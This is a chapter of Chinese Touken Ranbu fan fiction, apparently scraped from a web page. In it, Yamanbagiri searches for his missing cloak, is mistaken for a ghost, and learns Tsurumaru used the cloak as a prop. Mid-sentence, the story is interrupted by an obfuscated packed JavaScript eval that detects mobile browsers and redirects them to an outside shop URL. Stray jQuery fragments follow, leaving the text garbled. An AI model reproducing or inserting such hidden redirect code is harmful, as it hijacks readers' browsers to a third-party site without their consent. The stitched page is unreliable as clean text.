在哪,到底在哪。
到底是谁拿走了他的披风!
大滴大滴的汗水从额头滑落,遮住山姥切国广的视线。
怨气越攒越重,山姥切国广眼眸晦暗环顾四周,随即转头看向一旁的房门,努力回想自己还有哪里没有找过。
这几天,他可以说是把本丸里能找的地方都找过了,但就是没找到披风。
最大的可能性就是歌仙,可他去了洗衣房,甚至偷偷去了歌仙的房间,都没有找到披风。
会不会是被藏起来了?可这么多天,就算是要洗,也应该洗干净了才是,为什么还找不到?
山姥切国广看看天空,意识到时间已经不早,他疲惫闭了闭眼,起身打算离开。
没想到刚起身,什么东西抵上腰。
山姥切国广身子僵硬。
“不许动,举起手来,女鬼。”
山姥切国广瞪圆眼睛。
女,女鬼?
谁?
他吗?
“乱,女鬼是有实体,能摸到的吗?”
“女鬼好高啊。”
“感,感觉这个身形有点熟悉。”
山姥切国广下意识想压低披风,遮住脸。
还没抬手,腰间的力道就重了几分。
厚冷哼一声。
“我倒要看看是谁装神弄鬼?转过身来。”
山姥切国广依言转过身。
在月光的照耀下,几人瞪大眼睛,看清了女鬼的真实面目。
金发湖绿色的眼眸。
几人张大嘴巴。
“山,山姥切???”
被本丸里的人津津乐道了好几天的女鬼居然是山姥切??
“你,你的布怎么变成这样了?”毛利拽拽他的披风。“不对,你为什么这么晚还没休息,还在走廊里闲逛?”
几个人都比他矮,披风拉得再低也还是阻挡不了和他们对视,山姥切垂下手,别过脑袋。
“我的...披风不见了。”
博多一锤手。
“果然,如果是山姥切的话就很合理了,晚上的脚步声什么的。”
所以他们议论了几天的女鬼实际上不是女鬼,而是山姥切。
几人面面相觑。
“真是的,还以为真的能亲眼见到女鬼呢。”
“白激动了,唉,我还想看看小孩鬼呢。”
几人对话间,笑面青江走来。
“抓住了?”
山姥切国广转过头。
看到笑面青江,还有他怀中的桑里,下意识拉披风要把自己遮起来。
手握上披风,触感又不对,他仓促转身想逃,脚下却宛如针扎,怎么都抬不起腿,迈不开步子。
主人会怎么看他这个仿品?
明明转身了,山姥切却仍然能感受到桑里的目光,他蜷起身子,缩起来。
不要看他,不要对他有期待,他不过是个仿品罢了...
桑里正在打量山姥切,准确来说是他身上的被单。
现在这个很干净很整洁,简直可以说是焕然一新。
相比之下,山姥切之前披着的被单就比较...
桑里脑海中闪过一个画面,说起来,鹤丸的女鬼用的被单好像山姥切的那块啊。
他还嫌弃过,不理解鹤丸为什么要用脏脏的白布,不拿一块干净的。
不,不会吧?
桑里拍拍笑面青江的手臂,示意他放自己下来。
笑面青江又揉揉桑里的脸颊后,弯腰将他放下,脸上带着明显的意犹未尽。
桑里快步来到山姥切背后,拍拍他的肩膀。
山姥切缩得更厉害,嘴里絮絮叨叨的‘仿品’‘不要看我’‘不要期待’之类的话,垂下来的金发微微晃着。
很漂亮的金色,桑里专注看着,合十缩在胸前的手蠢蠢欲动。
“你的被...披风是不是形状有些不整齐,嗯...有些灰灰的?”
山姥切猛地转过身。
转到一半,又僵着身子转回头,拉低帽子去遮脸。
“你...主人在哪看到过,可以告诉我吗?”
桑里挠挠脸颊,不知该不该把鹤丸的名字说出来。
但山姥切看起来又很急切想找回被...披风。想找回自己的东西,没什么错吧?
桑里隐去鹤丸的名字。
“是今天白天,在靠近田地那边...”
桑里连说带比划,山姥切想了会儿,还是没明白他说的到底是哪里。
“主人能不能...”
转头看到头顶的星空,意识到现在的时间,山姥切话语顿了顿。
“主人明天能不能带我去找找?”
“好。”
桑里点头。
鹤丸将它做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794431|209314||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成女鬼,还说今晚就要用,披风肯定不在原地了。
也不知道鹤丸玩完没,明天问问鹤丸把女鬼放哪去了。
总算有披风的下落,山姥切国广不再那般紧绷,放松了身子。
笑面青江来到桑里身边,将他抱起。
“时间不早了,我们回去吧。”
头顶的星星很漂亮,桑里趴在笑面青江的肩头朝山姥切挥手。
“晚安,山姥切。”
山姥切抬起胳膊,学着桑里的动作朝他挥手。
星空下,山姥切的金发随风摇摆。
“山姥切发色真漂亮,可惜偶尔才能看到一次。”
小孩似乎困极了,话语含含糊糊的。
主人似乎格外喜欢金色,笑面青江抚抚他的背,话语温温柔柔,语调悠然。
“那我的眼睛呢?主人喜欢吗?”
笑面青江本是开玩笑,没想到小孩竟忽的直起身子朝他靠近,从来没和谁这么近过,笑面青江感觉有些不能呼吸了。
“喜欢,青江先生的眼睛很漂亮,我很喜欢。”
小孩热乎乎的呼吸吐在脸上,还有脸边软软的触感。
啊,真是要命。
笑面青江握住桑里的后脑勺,蹭他的脸颊。
“我也喜欢主人。”
主人,好喜欢。主人的亲近,也好喜欢。
笑面青江不知不觉间停下了脚步,落后于短刀们许多。
几人回头看,出声招呼。
“青江先生,快走啦!是累了吗?把主人给我吧,我来抱。”
乱不服气。
“你刚刚抱过主人,该我了。”
五虎退小声。
“我,我也可以,我也还没抱过主人。”
平野仰头看着桑里,眼睛一眨不眨。
“还是我来吧,保护效忠在主人身边,为主人提供所需的一切是我的职责所在。”
博多打着哈欠垂着脑袋走在最前面,没有参与他们的争论,相比讨论谁抱主人,他更关注自己什么时候可以回去睡觉。
走廊应该是空空荡荡的,但博多却被撞倒了。
“哎呦,谁啊,站在路中间。”
博多气鼓鼓看向前方。
在月光的照耀下,他看到来人周身一圈黑气,还有熟悉的水蓝发色,漂亮的金眸,博多张大嘴巴。
“一,一期尼。”